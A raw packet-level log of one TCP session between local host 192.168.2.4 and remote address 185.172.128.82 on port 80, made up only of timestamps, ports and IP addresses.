May 23, 2024 23:33:07.867364883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.867381096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.867422104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.867959023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.867993116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.868025064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.868055105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.868088961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.868124008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.868158102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.868180990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.868206024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.869081020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.869138956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.870345116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.870381117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.870412111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.870446920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.870496035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872643948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872677088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872709990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872741938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872741938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872765064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872785091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872802019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872852087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872852087 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872885942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872905970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872919083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872931957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.872960091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.872968912 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873007059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873017073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873048067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873075962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873096943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873099089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873131990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873152971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873167992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873174906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873200893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873217106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873234034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873253107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873265982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873291016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873298883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873311043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873332977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873351097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873363972 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873393059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873408079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873430014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873445034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873456001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873477936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873490095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873512983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873531103 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873545885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873557091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873578072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873600006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873600006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873610973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873626947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873640060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873672009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873688936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873704910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873728037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873749971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873769045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873783112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873795033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873811960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873840094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873845100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873859882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873878002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873893023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873912096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873934031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873944998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.873959064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.873977900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874006033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874016047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874028921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874048948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874069929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874080896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874094963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874131918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874133110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874165058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874188900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874197006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874212980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874229908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874250889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874262094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874273062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874294996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874310970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874327898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874344110 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874361038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874382019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874393940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874408007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874427080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874445915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874459028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874495983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874515057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874524117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874547958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874571085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874582052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874594927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874614954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874634981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874648094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874656916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874680996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874697924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874716043 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874743938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874747992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874767065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874780893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874802113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874814034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874825954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874849081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874862909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874883890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874916077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874917030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874937057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.874948978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874983072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.874998093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875015020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875032902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875047922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875056028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875081062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875097036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875113964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875123024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875147104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875161886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875180960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875195980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875212908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875231028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875246048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875252962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875277996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875293016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875312090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875325918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875344992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875359058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875379086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875411034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875427961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875427961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875443935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875448942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875477076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875494957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875530005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875853062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875905037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875912905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875937939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875953913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.875973940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.875994921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.876018047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.879087925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.879122019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.879321098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.949729919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949789047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949846029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949878931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949913025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949947119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949965000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.949970961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.949971914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.949971914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950088024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950088024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950135946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950153112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950210094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950210094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950325966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950342894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950355053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950496912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950499058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950499058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.950516939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.950586081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.958036900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.958667994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.958683014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.958743095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.958750010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.958760023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.958775997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.958822012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.958822012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.958822012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.960026026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.960042000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.960115910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.961026907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.961141109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.961972952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.962007999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.962064981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.962117910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.962171078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.962879896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.962913990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.962945938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.962956905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.962956905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.962990046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.962997913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963031054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963063002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963088989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963094950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963112116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963129997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963155985 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963169098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963179111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963202000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963234901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963264942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963267088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963298082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963305950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963319063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963340044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963372946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963390112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963406086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963423014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963439941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963466883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963474035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963515043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963522911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963538885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963557005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963587046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963589907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963625908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963637114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963637114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963664055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963669062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963701963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963711023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963737011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963752031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963769913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963784933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963802099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963820934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963835001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963867903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963892937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963900089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963912964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963932991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963953018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963964939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.963979006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.963994026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964025974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964049101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964061022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964068890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964092970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964112043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964127064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964134932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964159012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964176893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964191914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964207888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964224100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964227915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964257956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964278936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964289904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964297056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964339972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964607954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964641094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.964659929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964684010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.964988947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965023041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965039015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965054989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965079069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965089083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965101957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965122938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965142012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965157986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965167046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965192080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965212107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965234995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965502977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965537071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965554953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965568066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965580940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965600967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965616941 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965636969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965646982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965688944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965842009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.965889931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.965964079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.966015100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.966150999 CEST	80	49733	185.172.128.82	192.168.2.4
